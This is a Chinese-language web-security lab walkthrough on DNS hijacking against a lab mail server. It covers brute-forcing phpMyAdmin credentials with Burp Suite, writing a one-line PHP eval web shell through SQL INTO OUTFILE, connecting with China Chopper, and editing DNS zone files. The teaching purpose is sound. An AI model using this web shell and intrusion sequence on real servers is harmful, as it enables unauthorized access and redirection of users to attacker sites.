域名劫持原理與實踐


實驗簡介

實驗所屬系列:web安全

實驗對象:本科/專科信息安全專業

相關課程及專業:信息網絡安全概論

實驗時數(學分):1學時

實驗類別:實踐實驗類

預備知識

了解域名及域名劫持

域名劫持的含義

由於點分十進制的IP地址難於記憶,便出現了域名。由於網絡傳輸中最終還是基於IP,所以必須通過一種機制將IP和域名一一對應起來,這便是DNS。全球總共有13台根域名服務器。

域名劫持是互聯網攻擊中常見的一種攻擊方式,攻擊者通過對DNS服務器進行攻擊,或偽造DNS將目標站點解析到別的地址,用戶訪問該域名時被重定向到別的站點。在劫持的網絡范圍內攔截域名解析的請求,分析請求的域名,把審查范圍以外的請求放行,否則直接返回假的IP地址或者什么也不做使得請求失去響應,其效果就是對特定的網址不能訪問或訪問的是假網址。

域名劫持的原理

域名劫持的基本原理是用戶輸入要訪問的域名,請求DNS服務器遍歷DNS數據庫,查找該域名對應的IP地址,將其結果返回給用戶。在DNS服務器遍歷DNS數據庫時,如果修改了該域名對應的IP,便實現了域名劫持。簡單來說就是:本來一個域名對應一個IP,當這個域名對應到別的IP上就稱為域名劫持。如果知道該域名的真實IP地址,則可以直接用此IP代替域名后進行訪問。

實驗目的

通過該實驗了解域名劫持的原理,完成對郵件服務器的劫持。

實驗環境

 

郵件服務器:Win2003,IP地址:10.1.1.10

另一台主機地址:10.1.1.253

測試者:win7,IP地址隨機

實驗步驟一

實驗中提供了一台郵件服務器,該服務器同時提供DNS服務,測試者通過入侵到該服務器,修改DNS服務中的正向解析與反向解析文件實現劫持。

首先我們打開 http://mail.test.com,看到一個郵件登錄入口。

這里我們先使用burpsuite對該站點進行目錄掃描。

1、配置好IE代理,截取數據包。

2、右鍵send to spider。

3、發現存在phpmyadmin。如果未出現請單擊Filter將Hide empty folders(隱藏空文件夾)的勾去掉。

4、然后在地址欄添加phpmyadmin,如圖:

5、接下來對phpmyadmin進行暴力破解,隨便輸入一個用戶名和密碼,比如此處我輸入:用戶名:root 密碼:123,頁面提示錯誤,然后查看burpsuite截獲到的數據包。

6、找到Authorization,選中Basic后邊的字符串,進行如下步驟:右鍵convert selection->base64->base64-decode。

7、可以看到剛才輸入的用戶名和密碼。

8、右鍵send to intruder,在Positions選項卡下單擊clear$。

9、選中root:123,單擊add$。

10、切換到payloads選項卡下,設置payload type,在add處添加用戶名,separator for position1 處添加一個冒號。

 

11、加載桌面上一個密碼字典pass.txt,配置如下。

12、配置payload processing,如下圖:

13、去掉payload encoding中的對號。

14、單擊intruder下的start attack,一段時間后,發現了一個length和其他的不同。

15、雙擊打開,復制紅色區域的字符串。

16、粘貼在decoder下,選擇decode as base64,可以看到用戶名密碼為root:1234567890,登錄。

實驗步驟二

17、接下來需要知道網站的路徑是什么,一般網站搭建好后都會存在info.php,phpinfo.php,php_info.php等測試文件,一一訪問下,發現存在phpinfo.php文件,並得知網站目錄為C:/xampp/xampp/htdocs。

18、此時需要通過phpmyadmin拿這個站點的shell,選擇SQL,輸入如下命令,點擊執行:

use mysql;   //使用Mysql數據庫

Create TABLE heetian (heetian1 text NOT NULL);   //創建heetian表,heetian1字段

Insert INTO heetian(heetian1) VALUES('<?php @eval($_POST[pass]);?>');   //在heetian表中的heetian1字段中添加值為一句話

select heetian1 from heetian into outfile 'C:/xampp/xampp/htdocs/test.php';   //使用Mysql中outfile函數將其導出到test.php

Drop TABLE IF EXISTS heetian;   //刪除heetian表

返回結果如下:

19、執行成功,訪問下http://mail.test.com/test.php。

20、發現返回空白頁面,接下來用中國菜刀連接一下。

21、接下來我們需要對這台服務器進行域名劫持,將其劫持到一台IP為10.1.1.253的主機上,找到C:\WINDOWS\system32\dns\etc中的test.com.zone和10.1.1.zone。

22、分別對這兩個文件進行編輯,保存。

 

23、右鍵“虛擬終端”。

24、重啟下dns服務,輸入命令:net stop named和net start named,回車。

25、刷新 http://mail.test.com,發現劫持成功。頁面會顯示為:“歡迎來到合天網安實驗室!”

到此,實現完整的域名劫持過程,試驗結束。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM